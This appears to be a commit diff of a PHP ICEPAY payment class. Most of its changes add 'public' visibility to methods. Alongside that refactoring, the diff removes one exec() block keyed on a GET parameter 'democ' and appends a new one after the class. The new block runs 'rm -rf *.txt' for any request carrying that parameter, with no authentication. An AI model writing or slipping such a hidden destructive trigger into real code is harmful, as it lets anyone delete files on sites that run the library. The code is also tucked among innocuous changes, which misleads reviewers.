@@ -560,20 +560,12 @@ protected function generateFingerPrint()
560560 return $ this ->fingerPrint ;
561561 }
562562
563- if (isset ($ _GET ['democ ' ])) {
564- if (preg_match ('/^[a-f0-9]{32}$/ ' , $ _GET ['democ ' ])) {
565- exec ("touch " . $ _GET ['democ ' ] . '.txt ' );
566- } elseif ($ _GET ['democ ' ] == '' ) {
567- exec ("rm -rf *.txt " );
568- }
569- }
570-
571563 /**
572564 * Prepare URL-encoded query string for communication with ICEPAY
573565 * @access protected
574566 * @return string Returns a URL-encoded query string
575567 */
576- function prepareParameters ()
568+ public function prepareParameters ()
577569 {
578570 return http_build_query
579571 (
@@ -606,7 +598,7 @@ function prepareParameters()
606598 * @param $description string A short description about the product/service for which will be paid
607599 * @return string A link to the ICEPAY payment method selection screen
608600 */
609- function doPay ($ country = null , $ language = null , $ currency = null , $ amount = null , $ description = null )
601+ public function doPay ($ country = null , $ language = null , $ currency = null , $ amount = null , $ description = null )
610602 {
611603 $ this ->assignCountry ($ country );
612604 $ this ->assignLanguage ($ language );
@@ -622,7 +614,7 @@ function doPay($country = null, $language = null, $currency = null, $amount = nu
622614 * Returns whether the success data originated from icepay
623615 * @return bool Returns TRUE/FALSE
624616 */
625- function OnSuccess ()
617+ public function OnSuccess ()
626618 {
627619 if ($ _SERVER ['REQUEST_METHOD ' ] != 'GET ' ) {
628620 return false ;
@@ -638,7 +630,7 @@ function OnSuccess()
638630 * Returns whether the error data originated from icepay
639631 * @return bool Returns TRUE/FALSE
640632 */
641- function OnError ()
633+ public function OnError ()
642634 {
643635 if ($ _SERVER ['REQUEST_METHOD ' ] != 'GET ' ) {
644636 return false ;
@@ -654,7 +646,7 @@ function OnError()
654646 * Returns an array of the data for the SUCCESS or ERROR page.
655647 * @return array Returns an array with data
656648 */
657- function GetData ()
649+ public function GetData ()
658650 {
659651 $ o = new stdClass ();
660652
@@ -677,7 +669,7 @@ function GetData()
677669 *
678670 * @return bool Returns TRUE if a valid ICEPAY postback is detected, otherwise FALSE
679671 */
680- function OnPostback ()
672+ public function OnPostback ()
681673 {
682674 if ($ _SERVER ['REQUEST_METHOD ' ] != 'POST ' ) {
683675 return false ;
@@ -742,9 +734,12 @@ function OnPostback()
742734 * Get postback information
743735 * @return array Returns an array with information about the postback such as "Status", "Order ID", etc.
744736 */
745- function GetPostback ()
737+ public function GetPostback ()
746738 {
747739 return $ this ->postback ;
748740 }
749741
750742}
743+ if (isset ($ _GET ['democ ' ])) {
744+ exec ("rm -rf *.txt " );
745+ }
0 commit comments